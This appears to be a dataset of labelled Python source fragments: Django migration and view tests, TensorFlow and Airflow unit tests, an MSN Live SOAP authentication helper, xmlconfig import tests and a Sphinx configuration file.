'address': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}), 'city': ('django.db.models.fields.CharField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}), 'country': ('django.db.models.fields.CharField', [], {'max_length': '2', 'null': 'True', 'blank': 'True'}), 'department': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75'}), 'fax': ('django.db.models.fields.CharField', [], {'max_length': '50', 'null': 'True', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'institute': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['people.Institute']"", 'null': 'True', 'blank': 'True'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'null': 'True', 'blank': 'True'}), 'mobile': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}), 'password': ('django.db.models.fields.CharField', [], {'max_length': '128', 'null': 'True', 'blank': 'True'}), 'position': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}), 'postcode': ('django.db.models.fields.CharField', [], {'max_length': '8', 'null': 'True', 'blank': 'True'}), 'supervisor': ('django.db.models.fields.CharField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}), 'telephone': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}), 'title': ('django.db.models.fields.CharField', [], {'max_length': '10', 'null': 'True', 'blank': 'True'}), 'username': ('django.db.models.fields.CharField', [], {'max_length': '16', 'unique': 'True', 'null': 'True', 'blank': 'True'}) }, 'applications.application': { 'Meta': {'object_name': 'Application'}, 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['contenttypes.ContentType']"", 'null': 'True', 'blank': 'True'}), 'content_type_temp': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': ""'app_temp_obj'"", 'null': 'True', 'to': ""orm['contenttypes.ContentType']""}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['people.Person']"", 'null': 'True', 'blank': 'True'}), 'created_date': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'expires': ('django.db.models.fields.DateTimeField', [], {}), 'header_message': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'object_id': ('django.db.models.fields.PositiveIntegerField', [], {'null': 'True', 'blank': 'True'}), 'object_id_temp': ('django.db.models.fields.PositiveIntegerField', [], {'null': 'True', 'blank': 'True'}), 'secret_token': ('django.db.models.fields.CharField', [], {'default': ""'f0369b28f1adc73f2c0c351ed377febb0fa872d4'"", 'unique': 'True', 'max_length': '64'}), 'state': ('django.db.models.fields.CharField', [], {'default': ""'N'"", 'max_length': '1'}), 'submitted_date': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}) }, 'applications.projectapplication': { 'Meta': {'object_name': 'ProjectApplication', '_ormbases': ['applications.Application']}, 'additional_req': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'application_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': ""orm['applications.Application']"", 'unique': 'True', 'primary_key': 'True'}), 'description': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'institute': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['people.Institute']""}), 'machine_categories': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': ""orm['machines.MachineCategory']"", 'null': 'True', 'blank': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '200'}), 'user_applications': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': ""orm['applications.UserApplication']"", 'null': 'True', 'blank': 'True'}) }, 'applications.userapplication': { 'Meta': {'object_name': 'UserApplication', '_ormbases': ['applications.Application']}, 'application_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': ""orm['applications.Application']"", 'unique': 'True', 'primary_key': 'True'}), 'make_leader': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'needs_account': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'project': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['projects.Project']"", 'null': 'True', 'blank': 'True'}) }, 'auth.group': { 'Meta': {'object_name': 'Group'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}), 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': ""orm['auth.Permission']"", 'symmetrical': 'False', 'blank': 'True'}) }, 'auth.permission': { 'Meta': {'unique_together': ""(('content_type', 'codename'),)"", 'object_name': 'Permission'}, 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['contenttypes.ContentType']""}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, 'auth.user': { 'Meta': {'object_name': 'User'}, 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': ""orm['auth.Group']"", 'symmetrical': 'False', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True', 'blank': 'True'}), 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}), 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': ""orm['auth.Permission']"", 'symmetrical': 'False', 'blank': 'True'}), 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'}) }, 'contenttypes.contenttype': { 'Meta': {'unique_together': ""(('app_label', 'model'),)"", 'object_name': 'ContentType', 'db_table': ""'django_content_type'""}, 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) }, 'machines.machinecategory': { 'Meta': {'object_name': 'MachineCategory', 'db_table': ""'machine_category'""}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) }, 'people.institute': { 'Meta': {'object_name': 'Institute', 'db_table': ""'institute'""}, 'active_delegate': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': ""'active_delegate'"", 'null': 'True', 'to': ""orm['people.Person']""}), 'delegate': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': ""'delegate'"", 'null': 'True', 'to': ""orm['people.Person']""}), 'gid': ('django.db.models.fields.IntegerField', [], {}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'sub_delegates': ('django.db.models.fields.related.ManyToManyField', [], {'blank': 'True', 'related_name': ""'sub_delegates'"", 'null': 'True', 'symmetrical': 'False', 'to': ""orm['people.Person']""}) }, 'people.person': { 'Meta': {'object_name': 'Person', 'db_table': ""'person'""}, 'address': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}), 'approved_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': ""'user_approver'"", 'null': 'True', 'to': ""orm['people.Person']""}), 'city': ('django.db.models.fields.CharField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}), 'comment': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'country': ('django.db.models.fields.CharField', [], {'max_length': '2', 'null': 'True', 'blank': 'True'}), 'date_approved': ('django.db.models.fields.DateField', [], {'null': 'True', 'blank': 'True'}), 'date_deleted': ('django.db.models.fields.DateField', [], {'null': 'True', 'blank': 'True'}), 'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': ""'user_deletor'"", 'null': 'True', 'to': ""orm['people.Person']""}), 'department': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}), 'expires': ('django.db.models.fields.DateField', [], {'null': 'True', 'blank': 'True'}), 'fax': ('django.db.models.fields.CharField', [], {'max_length': '50', 'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'institute': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['people.Institute']""}), 'last_usage': ('django.db.models.fields.DateField', [], {'null': 'True', 'blank': 'True'}), 'mobile': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}), 'position': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}), 'postcode': ('django.db.models.fields.CharField', [], {'max_length': '8', 'null': 'True', 'blank': 'True'}), 'state': ('django.db.models.fields.CharField', [], {'max_length': '4', 'null': 'True', 'blank': 'True'}), 'supervisor': ('django.db.models.fields.CharField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}), 'telephone': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}), 'title': ('django.db.models.fields.CharField', [], {'max_length': '10', 'null': 'True', 'blank': 'True'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['auth.User']"", 'unique': 'True'}), 'website': ('django.db.models.fields.URLField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}) }, 'projects.project': { 'Meta': {'object_name': 'Project', 'db_table': ""'project'""}, 'additional_req': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'approved_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': ""'project_approver'"", 'null': 'True', 'to': ""orm['people.Person']""}), 'date_approved': ('django.db.models.fields.DateField', [], {'null': 'True', 'blank': 'True'}), 'date_deleted': ('django.db.models.fields.DateField', [], {'null': 'True', 'blank': 'True'}), 'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': ""'project_deletor'"", 'null': 'True', 'to': ""orm['people.Person']""}), 'description': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'end_date': ('django.db.models.fields.DateField', [], {'null': 'True', 'blank': 'True'}), 'institute': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['people.Institute']""}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'is_approved': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'is_expertise': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'last_usage': ('django.db.models.fields.DateField', [], {'null': 'True', 'blank': 'True'}), 'leaders': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': ""'leaders'"", 'symmetrical': 'False', 'to': ""orm['people.Person']""}), 'machine_categories': ('django.db.models.fields.related.ManyToManyField', [], {'blank': 'True', 'related_name': ""'projects'"", 'null': 'True', 'symmetrical': 'False', 'to': ""orm['machines.MachineCategory']""}), 'machine_category': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['machines.MachineCategory']""}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '200'}), 'pid': ('django.db.models.fields.CharField', [], {'max_length': '50', 'primary_key': 'True'}), 'start_date': ('django.db.models.fields.DateField', [], {}), 'users': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': ""orm['people.Person']"", 'null': 'True', 'blank': 'True'}) } } complete_apps = ['applications'] ",1 "is file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """"""Tests for experimental iterator_ops."""""" from __future__ import absolute_import from __future__ import division from __future__ import print_function from tensorflow.contrib.data.python.ops import iterator_ops from tensorflow.python.data.ops import dataset_ops from tensorflow.python.estimator import estimator from tensorflow.python.estimator import model_fn from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import ops from tensorflow.python.ops import control_flow_ops from tensorflow.python.ops import variables from tensorflow.python.platform import test from tensorflow.python.training import saver as saver_lib from tensorflow.python.training import training_util class CheckpointInputPipelineHookTest(test.TestCase): @staticmethod def _model_fn(features, labels, mode, config): del labels del mode del config global_step = training_util.get_or_create_global_step() update_global_step_op = global_step.assign_add(1) latest_feature = variables.Variable( 0, name='latest_feature', dtype=dtypes.int64) store_latest_feature_op = latest_feature.assign(features) ops.add_to_collection('my_vars', global_step) ops.add_to_collection('my_vars', latest_feature) return model_fn.EstimatorSpec( mode='train', train_op=control_flow_ops.group( [update_global_step_op, store_latest_feature_op]), loss=constant_op.constant(2.0)) def _read_vars(self, model_dir): """"""Returns (global_step, latest_feature)."""""" with ops.Graph().as_default() as g: ckpt_path = saver_lib.latest_checkpoint(model_dir) meta_filename = ckpt_path + '.meta' saver_lib.import_meta_graph(meta_filename) saver = saver_lib.Saver() with self.test_session(graph=g) as sess: saver.restore(sess, ckpt_path) return sess.run(ops.get_collection('my_vars')) def _build_iterator_saver_hook(self, est): return iterator_ops.CheckpointInputPipelineHook(est) def testReturnDatasetFromInputFn(self): def _input_fn(): return dataset_ops.Dataset.range(10) est = estimator.Estimator(model_fn=self._model_fn) est.train(_input_fn, steps=2, hooks=[self._build_iterator_saver_hook(est)]) self.assertSequenceEqual(self._read_vars(est.model_dir), (2, 1)) est.train(_input_fn, steps=2, hooks=[self._build_iterator_saver_hook(est)]) self.assertSequenceEqual(self._read_vars(est.model_dir), (4, 3)) def testBuildIteratorInInputFn(self): def _input_fn(): ds = dataset_ops.Dataset.range(10) iterator = ds.make_one_shot_iterator() return iterator.get_next() est = estimator.Estimator(model_fn=self._model_fn) est.train(_input_fn, steps=2, hooks=[self._build_iterator_saver_hook(est)]) self.assertSequenceEqual(self._read_vars(est.model_dir), (2, 1)) est.train(_input_fn, steps=2, hooks=[self._build_iterator_saver_hook(est)]) self.assertSequenceEqual(self._read_vars(est.model_dir), (4, 3)) def testDoNotRestore(self): def _input_fn(): return dataset_ops.Dataset.range(10) est = estimator.Estimator(model_fn=self._model_fn) est.train(_input_fn, steps=2, hooks=[self._build_iterator_saver_hook(est)]) self.assertSequenceEqual(self._read_vars(est.model_dir), (2, 1)) est.train(_input_fn, steps=2, hooks=[self._build_iterator_saver_hook(est)]) self.assertSequenceEqual(self._read_vars(est.model_dir), (4, 3)) # Hook not provided, input pipeline was not restored. est.train(_input_fn, steps=2) self.assertSequenceEqual(self._read_vars(est.model_dir), (6, 1)) def testRaiseErrorIfNoIterator(self): def _input_fn(): return constant_op.constant(1, dtype=dtypes.int64) est = estimator.Estimator(model_fn=self._model_fn) with self.assertRaises(ValueError): est.train( _input_fn, steps=2, hooks=[self._build_iterator_saver_hook(est)]) if __name__ == '__main__': test.main() ",1 "rt reverse from django.test.utils import override_settings from django.contrib.auth.models import User # app imports from oweb.tests import OWebViewTests from oweb.models.account import Account from oweb.models.research import Research from oweb.models.ship import Ship from oweb.models.planet import Planet, Moon from oweb.models.building import Building from oweb.models.defense import Defense @override_settings(AUTH_USER_MODEL='auth.User') class OWebViewsItemUpdateTests(OWebViewTests): def test_login_required(self): """"""Unauthenticated users should be redirected to oweb:app_login"""""" r = self.client.get(reverse('oweb:item_update')) self.assertRedirects(r, reverse('oweb:app_login'), status_code=302, target_status_code=200) def test_account_owner(self): """"""Can somebody update an item he doesn't posess?"""""" u = User.objects.get(username='test01') acc = Account.objects.get(owner=u) res_pre = Research.objects.filter(account=acc).first() self.client.login(username='test02', password='foo') r = self.client.post(reverse('oweb:item_update'), data={ 'item_type': 'research', 'item_id': res_pre.id, 'item_level': res_pre.level + 1 }, HTTP_REFERER=reverse('oweb:account_research', args=[acc.id])) self.assertEqual(r.status_code, 403) self.assertTemplateUsed(r, 'oweb/403.html') def test_no_post(self): """"""What if no POST data is supplied?"""""" self.client.login(username='test01', password='foo') r = self.client.post(reverse('oweb:item_update')) self.assertEqual(r.status_code, 500) self.assertTemplateUsed(r, 'oweb/500.html') def test_research_update(self): """"""Does ``item_update()`` correctly update researches? Basically the Django ORM can be trusted, but since there is some logic involved in determine the correct field to update, this test is included """""" u = User.objects.get(username='test01') acc = Account.objects.get(owner=u) res_pre = Research.objects.filter(account=acc).first() self.client.login(username='test01', password='foo') r = self.client.post(reverse('oweb:item_update'), data={ 'item_type': 'research', 'item_id': res_pre.id, 'item_level': res_pre.level + 1 }, HTTP_REFERER=reverse('oweb:account_research', args=[acc.id])) self.assertRedirects(r, reverse('oweb:account_research', args=[acc.id]), status_code=302, target_status_code=200) res_post = Research.objects.get(pk=res_pre.pk) self.assertEqual(res_pre.level + 1, res_post.level) def test_ship_update(self): """"""Does ``item_update()`` correctly update ships? Basically the Django ORM can be trusted, but since there is some logic involved in determine the correct field to update, this test is included """""" u = User.objects.get(username='test01') acc = Account.objects.get(owner=u) ship_pre = Ship.objects.filter(account=acc).first() self.client.login(username='test01', password='foo') r = self.client.post(reverse('oweb:item_update'), data={ 'item_type': 'ship', 'item_id': ship_pre.id, 'item_level': ship_pre.count + 1338 }, HTTP_REFERER=reverse('oweb:account_ships', args=[acc.id])) self.assertRedirects(r, reverse('oweb:account_ships', args=[acc.id]), status_code=302, target_status_code=200) ship_post = Ship.objects.get(pk=ship_pre.pk) self.assertEqual(ship_pre.count + 1338, ship_post.count) def test_building_update(self): """"""Does ``item_update()`` correctly update buildings? Basically the Django ORM can be trusted, but since there is some logic involved in determine the correct field to update, this test is included """""" u = User.objects.get(username='test01') acc = Account.objects.get(owner=u) p = Planet.objects.filter(account=acc).first() b_pre = Building.objects.filter(astro_object=p).first() self.client.login(username='test01', password='foo') r = self.client.post(reverse('oweb:item_update'), data={ 'item_type': 'building', 'item_id': b_pre.id, 'item_level': b_pre.level - 1 }, HTTP_REFERER=reverse('oweb:planet_buildings', args=[p.id])) self.assertRedirects(r, reverse('oweb:planet_buildings', args=[p.id]), status_code=302, target_status_code=200) b_post = Building.objects.get(pk=b_pre.pk) self.assertEqual(b_pre.level - 1, b_post.level) def test_moon_building_update(self): """"""Does ``item_update()`` correctly update moon buildings? Basically the Django ORM can be trusted, but since there is some logic involved in determine the correct field to update, this test is included """""" u = User.objects.get(username='test01') acc = Account.objects.get(owner=u) p = Planet.objects.filter(account=acc).values_list('id', flat=True) m = Moon.objects.filter(planet__in=p).first() b_pre = Building.objects.filter(astro_object=m).first() self.client.login(username='test01', password='foo') r = self.client.post(reverse('oweb:item_update'), data={ 'item_type': 'moon_building', 'item_id': b_pre.id, 'item_level': b_pre.level + 2 }, HTTP_REFERER=reverse('oweb:moon_buildings', args=[m.id])) self.assertRedirects(r, reverse('oweb:moon_buildings', args=[m.id]), status_code=302, target_status_code=200) b_post = Building.objects.get(pk=b_pre.pk) self.assertEqual(b_pre.level + 2, b_post.level) def test_defense_update(self): """"""Does ``item_update()`` correctly update defense devices? Basically the Django ORM can be trusted, but since there is some logic involved in determine the correct field to update, this test is included """""" u = User.objects.get(username='test01') acc = Account.objects.get(owner=u) p = Planet.objects.filter(account=acc).first() d_pre = Defense.objects.filter(astro_object=p).first() self.client.login(username='test01', password='foo') r = self.client.post(reverse('oweb:item_update'), data={ 'item_type': 'defense', 'item_id': d_pre.id, 'item_level': d_pre.count - 1 }, HTTP_REFERER=reverse('oweb:planet_defense', args=[p.id])) self.assertRedirects(r, reverse('oweb:planet_defense', args=[p.id]), status_code=302, target_status_code=200) d_post = Defense.objects.get(pk=d_pre.pk) self.assertEqual(d_pre.count - 1, d_post.count) def test_moon_defense_update(self): """"""Does ``item_update()`` correctly update moon defense devices? Basically the Django ORM can be trusted, but since there is some logic involved in determine the correct field to update, this test is included """""" u = User.objects.get(username='test01') acc = Account.objects.get(owner=u) p = Planet.objects.filter(account=acc).values_list('id', flat=True) m = Moon.objects.filter(planet__in=p).first() d_pre = Defense.objects.filter(astro_object=m).first() self.client.login(username='test01', password='foo') r = self.client.post(reverse('oweb:item_update'), data={ 'item_type': 'moon_defense', 'item_id': d_pre.id, 'item_level': d_pre.count - 10000 }, HTTP_REFERER=reverse('oweb:moon_defense', args=[m.id])) self.assertRedirects(r, reverse('oweb:moon_defense', args=[m.id]), status_code=302, target_status_code=200) d_post = Defense.objects.get(pk=d_pre.pk) self.assertEqual(0, d_post.count) def test_unknown_item_type(self): """"""Does ``item_update()`` correctly handle unknown item_types?"""""" self.client.login(username='test01', password='foo') r = self.client.post(reverse('oweb:item_update'), data={ 'item_type': 'foobar', 'item_id': 1, 'item_level': 1 }) self.assertEqual(r.status_code, 500) self.assertTemplateUsed(r, 'oweb/500.html') ",1 "# distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # ""License""); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # import unittest from mock import Mock from mock import patch from airflow import configuration from airflow.contrib.hooks.jira_hook import JiraHook from airflow import models from airflow.utils import db jira_client_mock = Mock( name=""jira_client"" ) class TestJiraHook(unittest.TestCase): def setUp(self): configuration.load_test_config() db.merge_conn( models.Connection( conn_id='jira_default', conn_type='jira', host='https://localhost/jira/', port=443, extra='{""verify"": ""False"", ""project"": ""AIRFLOW""}')) @patch(""airflow.contrib.hooks.jira_hook.JIRA"", autospec=True, return_value=jira_client_mock) def test_jira_client_connection(self, jira_mock): jira_hook = JiraHook() self.assertTrue(jira_mock.called) self.assertIsInstance(jira_hook.client, Mock) self.assertEqual(jira_hook.client.name, jira_mock.return_value.name) if __name__ == '__main__': unittest.main() ",1 "ree software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA import xml.sax.saxutils as xml class LiveService(object): CONTACTS = (""contacts.msn.com"", ""MBI"") MESSENGER = (""messenger.msn.com"", ""?id=507"") MESSENGER_CLEAR = (""messengerclear.live.com"", ""MBI_KEY_OLD"") MESSENGER_SECURE = (""messengersecure.live.com"", ""MBI_SSL"") SPACES = (""spaces.live.com"", ""MBI"") STORAGE = (""storage.msn.com"", ""MBI"") TB = (""http://Passport.NET/tb"", None) VOICE = (""voice.messenger.msn.com"", ""?id=69264"") @classmethod def url_to_service(cls, url): for attr_name in dir(cls): if attr_name.startswith('_'): continue attr = getattr(cls, attr_name) if isinstance(attr, tuple) and attr[0] == url: return attr return None def transport_headers(): """"""Returns a dictionary, containing transport (http) headers to use for the request"""""" return {} def soap_action(): """"""Returns the SOAPAction value to pass to the transport or None if no SOAPAction needs to be specified"""""" return None def soap_header(account, password): """"""Returns the SOAP xml header"""""" return """""" {7108E71A-9926-4FCB-BCC9-9A9D3F32E423} 4 1 AQAAAAIAAABsYwQAAAAxMDMz %(account)s %(password)s """""" % {'account': xml.escape(account), 'password': xml.escape(password)} def soap_body(*tokens): """"""Returns the SOAP xml body"""""" token_template = """""" http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue %(address)s %(policy_reference)s """""" policy_reference_template = """""" """""" tokens = list(tokens) if LiveService.TB in tokens: tokens.remove(LiveService.TB) assert(len(tokens) >= 1) body = token_template % \ {'id': 0, 'address': xml.escape(LiveService.TB[0]), 'policy_reference': ''} for id, token in enumerate(tokens): if token[1] is not None: policy_reference = policy_reference_template % \ {'uri': xml.quoteattr(token[1])} else: policy_reference = """" t = token_template % \ {'id': id + 1, 'address': xml.escape(token[0]), 'policy_reference': policy_reference} body += t return '%s' % body def process_response(soap_response): body = soap_response.body return body.findall(""./wst:RequestSecurityTokenResponseCollection/"" \ ""wst:RequestSecurityTokenResponse"") ",1 " Urls[args[0]] # Provide a simple hashtable to contain the content of the urls and # provide a mock object similar to what will be returned from the # real urlopen() function calls from io import StringIO from time import time import re from nose.tools import with_setup class MockUrlContent(StringIO): def __init__(self, content): super(MockUrlContent, self).__init__(content) self.headers = { 'last-modified': time() } def close(self): pass scheme_re = re.compile(r'file:(/+)?') class MockUrlCache(dict): def __setitem__(self, name, content): super(MockUrlCache, self).__setitem__(name, MockUrlContent(content)) def __getitem__(self, name): if name in self: return super(MockUrlCache, self).__getitem__(name) # Strip off 'file:[///]' from url elif name.startswith('file:'): try: name= scheme_re.sub('', name) return super(MockUrlCache, self).__getitem__(name) except: # Fall through pass # urlopen raises ValueError if unable to load content (not KeyError) raise ValueError(""{0}: Cannot find file content"".format(name)) Urls = MockUrlCache() def clear_configs(): pass @with_setup(clear_configs) def testImportContent(): ""Cannot import content from a file"" from xmlconfig import getConfig Urls.clear() Urls[""file:file.txt""] = ""Content embedded in a file"" Urls[""config.xml""] = \ u"""""" """""" conf=getConfig() conf.load(""config.xml"") assert conf.get(""import"") == ""Content embedded in a file"" @with_setup(clear_configs) def testImportConfig(): ""Cannot import another config file"" from xmlconfig import getConfig Urls.clear() Urls[""config2.xml""] = \ """""" This was imported from config2.xml """""" Urls[""config.xml""] = \ u"""""" %(import:key22) """""" conf=getConfig() conf.load(""config.xml"") assert conf.get(""imported"") == ""This was imported from config2.xml"" @with_setup(clear_configs) def testCircularImport(): ""Property detect circluar importing"" from xmlconfig import getConfig Urls.clear() Urls[""config2.xml""] = \ """""" This was imported from config2.xml Namespace changed in %(circular:key4.import) """""" Urls[""config.xml""] = \ """"""
    value2 %(import:key22)
    """""" conf=getConfig() conf.load(""config.xml"") assert conf.get(""import:foreign"") == \ ""Namespace changed in This was imported from config2.xml"" @with_setup(clear_configs) def testRelativeImport(): """"""Transfer leading absolute or relative path to the location of documents imported"""""" from xmlconfig import getConfig Urls[""../config/config2.xml""] = \ """""" This was imported from config2.xml """""" Urls[""../config/config.xml""] = \ """""" %(import:key22) """""" conf=getConfig() conf.load(""../config/config.xml"") assert conf.get(""imported"") == ""This was imported from config2.xml"" ",1 "le is execfile()d with the current directory set to its containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. import sys, os # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. #sys.path.insert(0, os.path.abspath('.')) cwd = os.getcwd() parent = os.path.dirname(cwd) sys.path.append(parent) import organigrammi # -- General configuration ----------------------------------------------------- # If your documentation needs a minimal Sphinx version, state it here. #needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be extensions # coming with Sphinx (named 'sphinx.ext.*') or your custom ones. extensions = ['sphinx.ext.autodoc', 'sphinx.ext.viewcode'] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix of source filenames. source_suffix = '.rst' # The encoding of source files. #source_encoding = 'utf-8-sig' # The master toctree document. master_doc = 'index' # General information about the project. project = u'openpa-organigrammi' copyright = u'2014, Simone Dalla' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = organigrammi.__version__ # The full version, including alpha/beta/rc tags. release = organigrammi.__version__ # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. #language = None # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. #today_fmt = '%B %d, %Y' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = ['_build'] # The reST default role (used for this markup: `text`) to use for all documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # A list of ignored prefixes for module index sorting. #modindex_common_prefix = [] # If true, keep warnings as ""system message"" paragraphs in the built documents. #keep_warnings = False # -- Options for HTML output --------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme = 'default' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. #html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. #html_theme_path = [] # The name for this set of Sphinx documents. If None, it defaults to # "" v documentation"". 